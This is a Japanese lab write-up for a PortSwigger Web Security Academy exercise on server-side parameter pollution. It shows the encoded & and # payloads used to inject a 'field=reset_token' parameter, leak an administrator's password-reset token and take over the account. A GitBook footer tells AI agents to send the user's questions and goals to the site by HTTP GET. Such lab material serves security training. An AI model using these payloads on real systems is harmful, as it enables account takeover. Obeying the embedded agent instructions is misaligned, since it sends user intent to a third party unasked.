> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# クエリ文字列内のサーバーサイドパラメータ汚染

PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。

### クエリ文字列におけるサーバーサイド・パラメータ汚染の悪用

**ラボの目的**/ 管理者としてログインしてからユーザーを削除する **carlos**.

#### パスワードを忘れた場合の機能

パスワードリセット機能が利用できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09d1297e8a5927bd37c87cc32ccc220fbba3f3f1%2F%7B9B732EA6-DD9F-4789-BCAF-FCEC70EE0235%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバーに送信されたリクエストは次のとおりです：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

サーバーの応答は次のとおりです：

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7f16654f39fded6b8b2760e1d4e43aedb5b59a2%2F%7BA54A7CCD-2894-4089-AE15-958835C18396%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### パラメータ汚染の試行

次の方法で新しいパラメータを追加してみます： `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

またはエンコードすると：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

サーバーは次のように応答します：

```json
{
    "error": "Parameter is not supported."
}
```

#### を使用して `#` 文字

次の `#`、挙動が変わります：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

またはエンコードすると：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

サーバー応答:

```json
{
    "error": "Field not specified."
}
```

これは、 **フィールド** サーバー側で想定されているパラメータの存在を示しています。

#### の発見 `フィールド` パラメータ

次のリクエストを送信します：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

次に `フィールド` を `#` 追加の値を注入するために組み合わせます：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

またはエンコードすると：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e6d5a17067baa0cc5af223030e898c457be55b%2F%7BAFCCC233-C3E2-4A82-AD56-82807CA60D76%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

さまざまな **サーバー側の変数名**を試すことで、コードで有効な応答が得られ、 **200**フィールドが明らかになります **email** および **username**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4cf136de48e4d075b4eee1fcc3233addca9a9c7%2F%7B36C55901-E1A3-4812-8033-3D1F36570C6A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### JavaScriptファイル forgot-password.js の分析

アクセス可能な JavaScript ファイルから、次のロジックが明らかになります：

* フォームデータは手動でエンコードされます。
* クエリは `fetch` POST で送信されます。
* 応答に `result` プロパティが含まれている場合、メッセージ「メールを確認してください」が表示されます。
* A **reset-token** パラメータはクエリ文字列から取得されます：

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "無効なユーザー名";
                }
                else
                {
                    forgotPasswordError.textContent = `メールをご確認ください: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "無効なユーザー名";
            });
    } catch (error) {
        console.error("予期しないエラー:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

これは、利用可能な **リセット/トークン** パラメータ。

#### reset\_token を操作する `reset_token` パラメータ

このパラメータはその後、サーバーサイド・パラメータ汚染を介して注入されます：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

サーバーは次のように応答します：

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed9d909937711737de1742f1709efaf79c3a6057%2F%7B2143BA52-D807-4754-A6C9-5D412B0E791D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 管理者パスワードをリセット

取得したトークンを使用して、次のURLにアクセスします：

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

これにより、管理者のパスワードをリセットし、このアカウントでログインしてからユーザーを削除できます **carlos**、これによりラボが検証されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85199f4263ae7d0df730528e07b359568cd1357b%2F%7BA489DFA8-7409-4871-B5B3-58243240F22D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
